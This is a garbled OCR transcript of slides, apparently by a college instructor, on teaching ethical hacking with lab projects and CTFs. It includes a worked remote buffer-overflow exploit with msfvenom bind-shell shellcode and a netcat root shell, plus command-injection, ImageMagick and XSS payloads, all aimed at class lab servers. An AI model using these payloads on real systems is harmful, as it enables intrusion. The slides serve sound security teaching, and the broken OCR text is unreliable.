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Torvalds attacks IT industry
'security circus'

Linux creator calls OpenBSD crowd a bunch of "monkeys" and criticizes those who

publicize security flaws to gain notoriety.

by Liam Tung / July 18, 2008 7:14 AM PDT

Hacking Is indeed a circus

Is that supposed to be a bad
thing?
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Challenging Students




Student Diversity

- Beginners

- Old-school mainframe programmers
upgrading skills
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| evels of Achievement

- Memorize definitions of terms

- Hands-on projects with step-by-step
instructions

C m m n
2 hallenges without instructions
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Violent Python

Cappigrwd Vel el

- Step-by-step project

VioLent PYTHON
- Challenges i e

Penetration Testers, an SecntyEmm
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& C n https://samsclass.info/124/proj14/p5-http.htm

Simple POST Login

This is a simple login form. Test it with any username and password you like.

Username:

Password:

SUBMIT ‘




Follow TCP Stream

Stream Content

POST /python/Lloginl.php HTTP/1.1
Host: attack.samsclass.info

Achne-ControL:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1mage/webp, */*;q=0.
Origin: null
User-Agent: Mozilla/S.0 (Macintosh; Intel Mac 0S X 10 8 5) AppleWebKit/537.36
like Gecko) Chrome/32.0.1700.77 Safari1/537.36
) orm-uriencode

1Ng: gz1p, La

Accept-Language: en-US,en;q=0.8
Cookie: _ cfduid=d13245f42af830a759a56b3893bf393701364768703

TP/1.1 200 OK
pvate: 2

15 Jan 2014 23:42:40 GMT

Entire conversation (1007 bytes)

s Find | F]Save AS I & Print [ ASCIl O EBCDIC O Hex Dump O C Arrays ® Raw
| JL Help | ] Filter Out This Stream




import socket
socket.setdefaulttimeout(2)
s = socket.socket()

target = "attack.samsclass.info"
tport = 80

user = raw_input('Username: ')
pw = raw_input('Password: ')
length = len(user) + len(pw) + 5

~ |s.connect((target, tport))

fadiiie S s.send("POST /python/loginl.php HTTP/1.1\nHost: " + target \
+ "\nContent-Length: " + str(length) \
+ "\nContent-Type: app11cat10n/x -www=form-urlencoded"

ottt ey 12y * P W] &DDGEBB&

s.close




Challenge 1: Brute Forcing a Login Form (15 pts. extra credit)

Write a script in Python to try all possible credentials and get into the form below.
The user name is one of these:

e bill
e ted
o sally
e Sue

The PIN is a two-digit number, like this:

00
01
02
98
99

Username:

PIN:

SUBMIT I




Username:

SUBMIT |
Credits

CEOQO: Sarah Bellum
Staff: Pete Moss, Sandy Beach

(Stolen from A Prairie Home Companion)

Hint




April 2014: Heartbleed

ttps://samsclass.info/124

Heartbleed Tests and Projects

Projects

| Here are the projects I wrote to demonstrate both the client and server attacks:

Attacking a Server with Heartbleed: Detecting the Heartbleed OpenSSL Vulnerability and Patching It

Attacking Clients with a Malicious Heartbleed SSL Server

' Public server to test clients for vulnerability

Attacking the CloudFlare Challenge Server

. k.‘ .'gl
- a4

| - -
Testing VMware Fusion
| Testing VMware Fusion



Vulnerable
ANAroliQ
Devices

® Finder File Edit View Go Window Help

& what'smy ip - Google Se... attack.samsclass.info/p...
Thu Apr 10 16:31:05 2014

Connection from: 147.144.199.153:41251
Client returned 7 (0x7) bytes -- NOT VULNERABLE

Thu Apr 10 16:33:00 2014

onnection from: 147.144.203.246:51558
lient returned 17408 (0x4400) bytes

Thu Apr 10 16:33:04 2014

Thu Apr 10 16:33:07 2014

Connection from: 147.144.203.246:51562
Client returned 17408 (0x4400) bytes

Thu Apr 10 16:33:15 2014

Connection from: 147.144.199.153:41317
Client returned 7 (0x7) bytes -- NOT VULNERABLE

Thu Apr 10 16:33:25 2014




fi [ https://blog.cloudflare.com/the-results-of-the-cloudflare-challenge/#

CLOUDFLARE Blog home

The Results of the CloudFlare
Challenge

11 Apr 2014 by Nick Sullivan.

The first valid submission was received at 16:22:01PST by Software Engineer Fedor Indutny.
He sent at least 2.5 million requests over the course of the day. The second was submitted

at 17:12:19PST by llkka Mattila at NCSC-FI, who sent around a hundred thousand requests
over the same period of time.




A Job from One Tweet

Sam Bowne @sambowne - 11 Apr 2014
Kevin (a CCSF student) found most of the Cloudflare Challenge private key (not

all of it) samsclass.info/lulz/cf-chall-...

C # https://samsclass.info/lulz/cf-chall-kevin.png

Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-(CBC,445BDCO4DA1EAE3S8

ZHxu9n3J)aQugE4XgBDHO/qPawb i DbLVKoM/KyBaev+1i09¢cgRPd izKHYF+DZ2MnY2

9/X30R0x0E1822qF 7b4A52NgKRqkABt T b3 j6PdLOWPS1 roHov/ LvkNnoUohb9Ce
rDMWIMSMBVZFhY LXe 10xUBbMENx9WB ] F/vB3Ibxt5KDC3hvnBL41AQtuCzgVuYAa
THxan1ZxWuy5/U0IT1mgqaV lIK1int r+LWaNV70030E9yCO1S1a0nCSzqt0gqT00G

Kfa7KaSCUZxdelaf6YE/IpmiStX4FcpQlZHAGPiF65CwGys2ulNhV9q+SbF7LEDI
W/DbCioCDwrIpp70dUIiL91IR6 L LIUFZU) yND LdX/bRITOCMIKTP9O1wkq6367Tub

9nQqJ/fr/MdlwSVV+jo6ImG Lt tewc8AUQrXS3dlr) Iwwk rodpMwy65qs 76 ree/Bf
1dfj7d8/dsgPYfG2IYTOqQvLSvUxa73WemwI +9+9 roumzzCWwDEYnyH71q2h+X257

UHEGN+HNZSEuqS+GcCWP+5CS/VPF fCwag L jR720sEYMQp334Yhql Qg+gd2p 7WoMAK
b6FB/1Ciw)XjVBaX1fzcDISzCWqHAOKfas rdyp.)xhgdbB4dMim6F3DdFex)/iCI6
I137fdDysfOLwzTbINrOvYdntJUBuScKO6RpBNN kwlFwTaCZ+LHLIKhkvyRAWEQS®
qOn+y9M3YiVt9SCvm2UEC8pnUHT rtbB8cP rMaFkaQ32epCpcG/voeFyinAmYkO3P
yH/m52/RjeHSs6ZiXnFXs i JRhAWDY4yG2ap+EGrix6R)s3Fk84wl 2ZaVamZ/K365

yvB8PWxZVOhX8DyPRywTB/c41++mHfE jCegSCcBAd r6zkkXEGiBy i C1ShYhfuMyWn
Zmz95A6/1d.)pgudul8dOutkawy rlWaedzwWQa7Q63vsGaYEu6anDz LcHMWKPGXMH
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Exploit Development Class
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Command Injection

7~

< C {0 & https://attack32.samsclass.info

Ping Command Injection Challenge

The form below lets you send pings to a remote host. Unfortunately, it has a vulnerability.
To use the form normally, enter a target, such as

google.com
To see the vulnerability, enter

google.com; Is

- Target IP: Send Pings!




C O

@ https://attack32.samsclass.info/im.htm

Vulnerable ImageMagick Page

Normal Usage

1. Get a normal GIF or JPEG image
2. Upload it using the buttons below
3. Click the thumbnail to see your image

Select image to upload: Choose File | No file chosen Upload Image

Vulnerability

Make a text file with these contents:

push graphic-context
viewbox 0 0 640 480

fill 'url(https://example.com" |echo "HELLO";date;")'
pop graphic-context

Save it as exploit.jpg. Upload it using the form above on this page.




C O @ nhttps://attack.samsclass.info/sqlol-raw/search-raw.htm

Introduction to SQL Injection: Hands-On

1. Reset the Database Before Using It

2. SQL Database Structure

The database named sqlol contains the two tables shown below.

Table: users Table: ssn
Field: username Field: isadmin Field: name Field: ssn
Herp Derper ] Herp Derper 111-11-1111
SlapdeBack LovedeFace 1 SlapdeBack LovedeFace | 222-22-2222
Wengdack Slobdegoob 0 Wengdack Slobdegoob | 333-33-3333
Chunk MacRunfast 0 Chunk MacRunfast 444-44-4444
Peter Weiner 0 Peter Weiner 555-55-5555



CNIT 127: Exploit  Sholloders
Development . nandhook

o




C f https://samsclass.info/127/proj/p4-lbuf-shell.htm {:‘!J' )

Proj 4: Remote Linux Buffer Overflow With
Listening Shell (20 pts.)

liew Search Terminal Help

/127 /t# curl https //samsclass.info/127/proj/p4-server > pd-server
% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed
100 9108 100 9108 0 0 16661 O --l-cilce caieciens catr--1-- 16681

kali1:~/127/t#
t@kali:~/127/t# chmod a+x pd-server
'.’_'i:~f12/‘t#
root@kal /127 /t# ./pd-server SERVER
Here 1s the message: HELLO WINDOW

[]

root@kali: ~/127 1

Fde Edit View Search Terminal Help

/127/t# nc 127.0.0.1 4001
Welcome to my server! Type 1n a message!
S CLIENT
I got this message: HELLO

Welcome to my server! Type in a message! WINDOW




Buffer Overtlow Vulnerability

11

12 int copier(char *str) {

13 char buffer[1024];
14 strcpy (buffer, str);
15 }
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- Input more than 1024 bytes

GNU nano 2.2.6 File: p4-bl

#!/usr/bin/python

print s AstslaT)




DoS Exploit

File Edit View Search Terminal Hel;

root@kali:~/127/t# ./p4-server
Segmentation fault
root@kali:~/127/t# ]

e
7/

root@kali: ~/127/t

B File Edit View Search Termina Helj

“root@kali:~/127/t# nc 127.0.0.1 4001 < p4-el

Welcome to my server! Type in a message!
root@kali:~/127/t# |}




Nonrepeating Pattern

GNU nano 2.2.6 File: p4-b2

#!/usr/bin/python
prefix = 'A' * 1000
pattern = ''
for 1 in range(0, 5):
for j in range(0, 10):
pattern += str(i) + str(j)

print prefix + pattern

root@kali:~/127/t# cat pd-e2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
~ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf,
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODO01O20304050607080910111213141516171819
202122232425262728293031323334353637383940414243444546474849
root@kali:~/127/t# |}




Gnu Debugger

(gdb) run
Starting program: /root/127/t/p4-server

Program received signal SIGSEGV, Segmentation fault.
0x39313831 in ?7? ()

(gdb) [] iz
777

root@kali: ~/127/t

| File Edit View Search Terminal Help
root@kali:~/127/t# nc 127.0.0.1 4001 < p4-e2
Welcome to my server! Type 1n a message!

(gdb) info registers
- eax OxbfffcclO -1073755120
ecx Oxbfffe880 -1073747840
edx Oxbfffdo54 -1073754028
ebx O0xb7fb6000 -1208262656
esp Oxbfffdo20 Oxbfffdo20
ebp 0x37313631 0x37313631
esi 0x0 0
edi 0x0 0
elip 0x39313831 0x39313831




Generate Shellcode with
msfvenom

:~/127/t# msfvenom -p linux/x86/shell_bind_tcp AppendExit=true
-e x86/a1pha mixed -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the
SEVANETe
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 232 (iteration=0)
x86/alpha_mixed chosen with final size 232
Payload size: 232 bytes
"\x89\xeb6\xdb\xcf\xd9\x76\xf4\x5e\x56\x59\x49\xAQ\ vaQt
"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x: ©Open Terminal
"\x37\x51\x5a\x6a\x4l\x58\x50\x30\x41\x30\x41\x_
"\ x41\x51\x32\x41\x42\x32\x42\ x42\ X30\ x42\ x42\ x s
"\x58\x50\x38\x41\x42\x75\x4a\x49\x30\x31\x6b\x! Paste
"\x57\x49\x73\x63\x63\x33\x73\x36\x33\x52\x4a\x
"\x4c\x49\x4b\x51\x78\x30\x35\x36\x58\x4d\x6d\x, Frofes
"\x6b\x43\x6e\x33\x62\x45\x38\x37\x72\x47\x70\x: _
"\ x63\x6c\x30\x6a\x36\x70\x70\x51\x76\x30\x6d\X,
"\x61\x62\x4a\x75\x36\x42\x78\x7a\x6d\x4b\x30\X! 5 <\ = \.ibar
"\x47\x31\x45\x54\x6d\x63\x36\x64\x6e\x50\x31\x.u\.qa
"\x6d\x6b\x30\x33\x73\x38\x30\x30\x66\x7a\x6d\x6f\x70"
"\x5a\x33\x61\x49\x72\x4a\x47\x4f\x36\x38\x78\x4d\ x4f"
"\X70\x37\x39\x74\x39\x78\x78\x73\x58\x36\x4f\x74\x6f"
"\x70\x73\x62\x48\x42\x48\x66\x4f\x33\x52\x62\x49\x30"
"\x6e\x4b\x39\x7a\x43\x42\x70\x73\x63\x6c\x49\x6d\x31"
"\x78\x30\x34\x4b\x7a\x6d\x6d\x50\x66\x51\x79\x4b\x42"
"\x4a\x33\x31\x33\x68\x6a\x6d\x4b\x30\x41\x41"
L:~/127/t# | |

J) Read-Only




Construct Exploit

GNU nano 2.2.6

buf += "\x6e\x4b\x39\x7a\x43\x42\x70\x73\x63\x6c\x49\x6d\x31"
buf += "\x78\x30\x34\x4b\x7a\x6d\x6d\x50\x66\x51\x79\x4b\x42"
buf += "\x4a\x33\x31\x33\x68\x6a\x6d\x4b\x30\x41\x41"

prefix = 'A' * (1036 - 200 - len(buf))
nopsled = '\x90' * 200

eip = '\x41\x42\x43\x44'

padding = 'X' * (1100 - 1036 - 4)

VIR, ;'::- ,.print prefix i nops'led + bUf + e1p i paddlng ;' '-".‘I'}"“"'i.-'ﬂ . ‘




The Stack Frame

(gdb) x/260x $esp

OxbfffcclO:
Oxbfffcc20:
Oxbfffcc30:

Oxbfffcf20:
Oxbfffcf30:

Dxbfffcf40:
Oxbfffcf50:

Boxbfffcfeo:

T R .
: " A -J
L]

e la b smi i i
Oxbfffdo10:

(gdb) i

OxbfffcedO:
Oxbfffce50:
Oxbfffceb0:
Oxbfffce70:
Oxbfffce80:
Oxbfffce90:

0x41414141
0x41414141
0x41414141

0x41414141
0x41414141
0x41414141
0x90909090
0x90909090

0x90909090
0x90909090
0x49494949
0x58416ab5a
053

gogls o
P o ke o
s

0x31334a42

0424232

UhE bl i s A

0x41414141
0x41414141
0x41414141

0x41414141
0x41414141
0x41414141
0x90909090
0x90909090

0x90909090
Oxcfdbe689
0x49494949
0x30413050
0x42414242

» - D

0x6d6a6833

0x41414141
0x41414141
0x41414141

0x41414141
0x41414141
0x41414141
0x90909090
0x90909090

0x90909090
0x5ef476d9
0x43434343
0x41416b41
0x41385058

” —— ) * - ) ¥ - 5
e TR R ot s Al 2 ol e i 4

0x4141304b

0x41414141
0x41414141
0x41414141

0x41414141
0x41414141
0x90909090
0x90909090
0x90909090

0x90909090
0x49495956
0x51374343
0x42413251
0x494a754

¥ oY L’I" A =

 Ox44434241 |
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Listening Shell

File Edit View Search Terminal Help

root@kali:~/127/t# ./p4-server

)
7
7
727
Z
7
b

/‘ s
7z
7

File Edit View Search Terminal Help

root@kali:~/127/t# nc 127.0.0.1 4001 < p4-e5
Welcome to my server! Type 1n a message!

]

root@kali: ~
File Edit View Search Terminal Help

root@kali:~# netstat -an | grep 4444
tcp 0 0 0.0.0.0:4444
LISTEN

root@kali:~# [




Pwnage
Remote Code Execution

e © © o o @ sambowne Sat Aug 22 18:24:28
~ $nc 192.168.119.130 4444
whoami

root
pwd

/root/127/t
uname -a
Linux kali 4.0.0-kalil-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-083) 1686 GNU/Linux




C fn https://samsclass.info/127/proj/p4x-Ibo-shell.htm

Challenge 3: Remote Server without Symbols (10 pts.)

To connect to the server, in a Terminal window, execute this command:

nc attack32.samsclass.info 4030

If you'd like a local copy of the server binary to analyze, use this command.

curl https://samsclass.info/127/proj/pé4x-server3-500 > pé4x-server3-500

Exploit this process and get a shell on the server. Then put your name in this file:

/home/p4x/winners

Create this file:

/home/p4x/updatenow
After one minute, your name will appear on the WINNERS page here:

http://attack32 .samsclass.info/winners.html




C f attack32.samsclass.info/winners.htm! : Q'

WINNERS!

CNIT 127: Exploit Development -- Sam Bowne

Proj 4x, Challenge 3: Buffer Overflow

Exploit Development Challenges Home Page

ciccio87
Mon Aug 31 19:35:01 EDT 2015

mromer44
Wed Sep 2 14:42:01 EDT 2015

Hacked by @the_fire_dog
Thu Sep 10 17:08:01 PDT 2015

pwned by nullspace
Tue Sep 15 23:13:01 PDT 2015




Vulnerability Disclosure




& C fn https://samsclass.info/vuln-disclosure-policy.htm

Responsible Disclosure Policy for Samsclass.info

Guidelines

We require that all researchers:

Make every effort to avoid privacy violations, degradation of user experience, disruption to production systems, and
destruction of data during security testing;

Perform research only within the scope set out below;

Use the identified communication channels to report vulnerability information to us; and

Keep information about any vulnerabilities you've discovered confidential between yourself and Sam Bowne until we've
had 15 days to resolve the issue.

If you follow these guidelines when reporting an issue to us, we commit to:

» Not pursue or support any legal action related to your research;

» Work with you to understand and resolve the issue quickly (including an initial confirmation of your report within 72
hours of submission);

» Recognize your contribution on our Security Researcher Hall of Fame, if you are the first to report the issue and we make
a code or configuration change based on the issue.

-ty @bugcrowd




Hacked by Anonsec

https://samsclass.info/122/proj/independent q % O

Research & Present: Extra Credit

Research a security topic and give a brief presentation in class. The presentation should be approximately eight slides
and ten minutes long.

Don't feel restricted to the topics below; any security topic is fine. These topics are just examples.
Suggested Topics

How to use Group Policy to Allow or Block URL\'s
' (TMG) | Secure Web Gateway | VPN

2011-10-26: TMPLTR
Windows F irew all Scri t To Block lP Addresscs And ‘ountr Network Ranges

Hacked by Annnsec lr?b()s

Hackcd by Anonstc

AnonSec Official Members: Mrlele - AnonSec666 - 3r3b0s - d3f4ult - PhantomGhost - Hannaichi - ap3x hdx0r -
GhO5tFr3ak - spider64 - OverKiller - Cyb3r Shzz0r - Pr3d4T0r - Mr. BlackList - Razar - MR.WWW .
ANONTOXIC

Freedom for Gaza

Long Live Palestine!

I left the defacement there, it's a fair cop. --Sam Bowne, 1-31-15




3-28-15: @erikrberlin paid attention in class and deduced my new link authentication scheme, so he defaced my
home page with an XSS. Congratulations! For educational purposes, here is the series of links he used to sneak past
my filters:

<a href="https://samsclass.info/10/10_F14 shtml">test</a><br>
<a href="http://samsclass.info>test</a><br>
<a href="http://samsclass.info'>a<script>alert(\"test\")</script></a><br>

<a href="http://samsclass.info>a<script>alert(String.fromCharCode(116,101,115,116))</script></a>
<br>

<a href="http://samsclass.info>a</a><script>alert(String .fromCharCode(116,101,115,116))</script>
</a><br>

<a href="http://samsclass.info’>a</a><script>alert("test")</script></a><br>

<a href="https://twitter.com/erikrberlin">Added by Erik
Berlin<script>alert(String .fromCharCode(88,83,83,32,80,79,67,32,98,121,32,69,114,105,107,32,66 46))
</script></a><br>

<a href='https://twitter.com/erikrberlin">Link added by Erik
Berlin<script>alert(String .fromCharCode(88,83,83,32,80,79,67,32,98,121,32,69,114,105,107,32,66 46))
</script></a><br>




Rooted My Server

server pwned by axi0mX :-P

11-5-15: axi0mX got root on my attack server, by first exploiting a deliberately vulnerable process with low
privileges, and then using a privilege escalation exploit that was several months old, because I had not patched the

box.

https://samsclass.info/127/proj/pwned-by-axiomx

How I pwned your server attack.samsclass.info

I didn't use Metasploit or any vulnerability scanner.

Perhaps you are anticipating that it took a lot of effort or expertise, but it didn't, because after CNIT127 p13x I had access to a shell
On your server.

With a shell, I could look at the software you used on your system, and I found that you were using Ubuntu 14.04 LTS (I think by
running Isb_release -a), and also the kernel version from uname -a:




Rooted Twice the Same Way

11-16-15: @mcsin noticed that my attempt to patch my server failed, and hacked in with the same exploit axi0mX
used. And then Carlo helped me patch it; which was very difficult until we found out that Digital Ocean controls

kernel versions in their control panel.

My first attempt to patch the vulnerability
failed

With the help of a student, | got my kernel
updated after this



Stealing My Password

- Shoulder surfing
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How to Start

1. PicoCTF







Graphical Gameboard
objective @

Look for your father
downstairs.




Problems

Tyrannosaurus Hex - 10 Miscellaneous - Solved
No Comment - 20 Web Exploitation - Solved
Common Vulnerability Exercise - 20 Miscellaneous - Solved

Caesar - 20 Cryptography - Solved

Solve Hint Review

You find an encrypted message written on the documents. Can you decrypt it?
encrypted.txt

Submit!




& C fn easyctf.com

EasyCTF

High School Hacking Competition

- 1 week long
- Many easy problems, but also hard ones

- Sign up to hear about other easy CTFs



Write-Ups

C n writeups.easyctf.com

EasyCTF 2015 Writeups

Introduction

1. Credits

2. Binary Exploitation
2.1. Buffering (80)
2.2. Much Studying (400)
2.3. ADoughBee (500)

3. Cryptography
3.1. Julius Save Me (20)
3.2. Misaka Mikoto (50)

3.3. | <3 SLEEPING (125)

EasyCTF 2015

Thanks for playing EasyCTF! We hope you really enjoyed the contest,
despite several server issues that we were having. The solutions to the
problems are in this book. If you would like to contribute, make a pull-

request to https://github.com/EasyCTF/easyctf-2015-writeups.

Make sure you read through all the writeups and understand how to do
them! The writeups are one of the most important parts of the CTF
because you could learn new things from every problem, whether you

know it or not!




| https://ctftime.org

LTF DI TIME

Team rating

2015 2014 2013 2012 2011

Team Country Rating

Plaid Parliament of ES 1789.884
Pwning

Dragon Sector 1184.774

Oops 1088.711




FiInd CTFs

Upcoming events o

Format Name Date Duration

Insomni'hack teaser 2016 Jan. 16, 2016 09:00 — Jan 17, 1d 12h
£ On-line 21:00 UTC 54 teams

Sharif University CTF 2016 Feb. 05, 2016 06:30 — Feb. 06,
& On-line 18:30 UTC O leams

SSCTF 2016 Quals Feb. 27, 2016 00:00 — Feb. 29,
@ On-line 00:00 UTC 2 teams




Walk-Throughs!

New writeups a

Team
Gallopsled
Gallopsled

Gallopsled

Event

32C3 CTF

32C3 CTF

32C3 CTF

Task Action
Teufel [200] read writeup
Readme [200] read writeup

Docker [250] read writeup




CCSF_HACKERS
Fall 2015 Rankings
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CCSF Hackers
Club

Come explore exploitation and find out about
information security.

Play in Capture the Flag competitions, and listen
to guest speakers from the infosec community:.
[Learn about common attack vectors and skills to
develop in order to defend against them.

Every Friday between 2 and 4 pm in SCIE214

?.f...xll

To join our googie group and be added to our mailing list

|

DEC 202015
FGR POSTING



Remote Speakers

- Projector, webcam, Skype, speakers




Student Contributions

-+ Cleaning up the lab to make an inviting
hangout space

- Bridging to the CCSF_Coders club




Hacking Lab




HACKERS!

This lab is not for general use because students
are doing vile, terrible things.

CNIT 123: Ethical Hacking and Network
Defense

CNIT 124: Advanced Ethical Hacking

If you have any questions,
contact Sam Bowne sbowne@ccsf.edu




Signs on Wall

Hackers in S214

"Ethical Hacking" students are stealing passwords and other data from the network
and the computers in S214. Do not do online banking, shopping, personal email,

etc. on these machines. Do not re-use any password from other accounts in S214.
You should either avoid using email in S214, or make a special account just for
that purpose with a different password from all your other accounts.

If you have any questions, please contact sbowne@ccsf.edu.




Keylogger

. One student wrote a Python keylogger and
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Make Easy Locks

- Get cheap locks at Home Depot

- 2 for $11
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Cheap Locks are Fine




Re-Keying Kit ($11)




Remove the Clip

@




Insert Key, [urn to 45°

i i

39146



Slide Cylinder Out




Root Canal

Actual re-keying involves carefully removing
pins and replacing them with pins of different
length




L ockpick Training Set




| www.bumpmylock.com

11 Piece Lock Pick Set
$31.95







cmployers

- OpenDNS

- NASA Ames
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Job Fair

Students bring resumes at first (and only) class
meeting

Employers describe jobs and grab applicants
on the spot




Administrative Resistance

- CCSF administrators cancelled the entire
program in Spring 2015

- 1 only saved it by appealing directly to the
- Chancellor and threatening to resign
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Administrative Resistance

- The new curriculum review process doesn't
allow any class without lectures, textbook,
final exam, etc.

-+ This blocks seminar classes and Internship
classes

- The solution is to just break the rules--this is
what tenure is for



Guest Speakers

- At least one per class per semester
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